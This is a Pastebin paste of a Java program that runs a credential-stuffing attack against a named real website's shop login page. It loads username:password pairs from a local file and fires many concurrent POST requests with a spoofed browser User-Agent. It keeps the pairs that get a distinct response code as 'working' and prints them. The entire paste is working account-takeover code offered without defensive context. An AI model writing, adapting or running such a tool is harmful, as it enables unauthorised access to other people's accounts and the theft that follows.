Advertisement
Guest User

Untitled

a guest
Dec 26th, 2016
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 4.42 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.DataOutputStream;
  3. import java.io.FileReader;
  4. import java.io.InputStreamReader;
  5. import java.net.HttpURLConnection;
  6. import java.net.URL;
  7. import java.util.ArrayList;
  8. import java.util.List;
  9. import java.util.concurrent.Executors;
  10. import java.util.concurrent.ThreadPoolExecutor;
  11.  
  12. /**
  13.  * Created by callum on 26/12/2016.
  14.  */
  15. public class Main {
  16.  
  17.     public static String[] data;
  18.     public static List<String> working = new ArrayList<String>();
  19.     public static int count = 0;
  20.  
  21.  
  22.     public static String getUserData(Integer id) {
  23.         String response = "";
  24.         try {
  25.             response = data[id];
  26.         } catch (Exception e ) {
  27.             System.out.println("failed to parse - " + id);
  28.         }
  29.         return response;
  30.     }
  31.  
  32.  
  33.     public static void main(String[] args) {
  34.  
  35.  
  36.         try {
  37.  
  38.             BufferedReader in = new BufferedReader(new FileReader("C:/data/seren.txt"));
  39.             String str;
  40.             List<String> list = new ArrayList<String>();
  41.             while((str = in.readLine()) != null){
  42.                 list.add(str);
  43.             }
  44.              data = list.toArray(new String[0]);
  45.         } catch (Exception e) {
  46.             e.printStackTrace();
  47.         }
  48.         ThreadPoolExecutor executor = (ThreadPoolExecutor) Executors.newCachedThreadPool();
  49.  
  50.         for (int i = 0; i <= data.length; i++)
  51.         {
  52.             SendPost post = new SendPost(i);
  53.             System.out.println("A new task has been added : " + post.getName());
  54.             executor.execute(post);
  55.         }
  56.         executor.shutdown();
  57.     }
  58. }
  59.  
  60. class SendPost implements Runnable {
  61.  
  62.     private Integer name;
  63.  
  64.     public SendPost(Integer name)
  65.     {
  66.         this.name = name;
  67.     }
  68.  
  69.     public Integer getName() {
  70.         return name;
  71.     }
  72.  
  73.     public void run()
  74.     {
  75.  
  76.         String data = "";
  77.         try
  78.         {
  79.             data = Main.getUserData(name);
  80.             String userAry[] = data.split(":");
  81.             String username = userAry[0];
  82.             String password = userAry[1];
  83.  
  84.  
  85.             System.out.println("sending  - " + name);
  86.             String url = "http://serenps.com/shop/login.php";
  87.             URL obj = new URL(url);
  88.             HttpURLConnection con = (HttpURLConnection) obj.openConnection();
  89.  
  90.             con.setRequestMethod("POST");
  91.             con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
  92.             con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
  93.  
  94.             String urlParameters = "submit=Submit&username=" + username + "&password=" + password;
  95.             System.out.println(urlParameters);
  96.             con.setDoOutput(true);
  97.             DataOutputStream wr = new DataOutputStream(con.getOutputStream());
  98.             wr.writeBytes(urlParameters);
  99.             wr.flush();
  100.             wr.close();
  101.  
  102.             int responseCode = con.getResponseCode();
  103.             System.out.println("Response Code : " + responseCode);
  104.  
  105.             if (responseCode == 403) {
  106.                 Main.working.add(username + ":" + password);
  107.             }
  108.  
  109.             BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
  110.             String inputLine;
  111.             StringBuffer response = new StringBuffer();
  112.  
  113.             while ((inputLine = in.readLine()) != null) {
  114.                 response.append(inputLine);
  115.             }
  116.             in.close();
  117.  
  118.             if (response.toString().toLowerCase().contains("username or password is incorrect")) {
  119.                 System.out.println("invalid username or password");
  120.             } else {
  121.                 System.out.println("unknown result");
  122.             }
  123.         }
  124.         catch (Exception e)
  125.         {
  126.             System.out.println("error on - " + data);
  127.         } finally {
  128.             Main.count += 1;
  129.             System.out.println(Main.count + "/" + Main.data.length);
  130.             if (Main.count >= Main.data.length) {
  131.  
  132.                 System.out.println("----------------------------------------------");
  133.                 System.out.println("##############################################");
  134.                 System.out.println("----------------------------------------------");
  135.                 for (String s: Main.working) {
  136.                     System.out.println(s);
  137.                 }
  138.             }
  139.         }
  140.     }
  141. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement